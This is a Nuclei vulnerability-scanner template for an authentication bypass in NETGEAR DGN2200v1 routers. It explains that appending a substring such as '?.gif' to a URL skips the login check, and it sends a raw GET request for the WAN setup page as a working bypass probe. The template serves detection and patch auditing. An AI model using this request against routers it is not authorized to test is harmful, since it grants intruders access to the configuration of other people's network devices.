nuclei-templates/vulnerabilities/other/netgear-router-auth-bypass....

35 lines
1.1 KiB
YAML

id: netgear-router-auth-bypass
info:
name: NETGEAR DGN2200v1 Router Authentication Bypass
author: gy741
severity: high
description: NETGEAR DGN2200v1 Router does not require authentication if a page has ".jpg", ".gif", or "ess_" substrings, however matches the entire URL. Any page on the device can therefore be accessed, including those that require authentication, by appending a GET variable with the relevant substring (e.g., "?.gif").
reference:
- https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
- https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1
tags: netgear,auth-bypass,router
requests:
- raw:
- |
GET /WAN_wan.htm?.gif HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |
GET /WAN_wan.htm?.gif HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<title>WAN Setup</title>"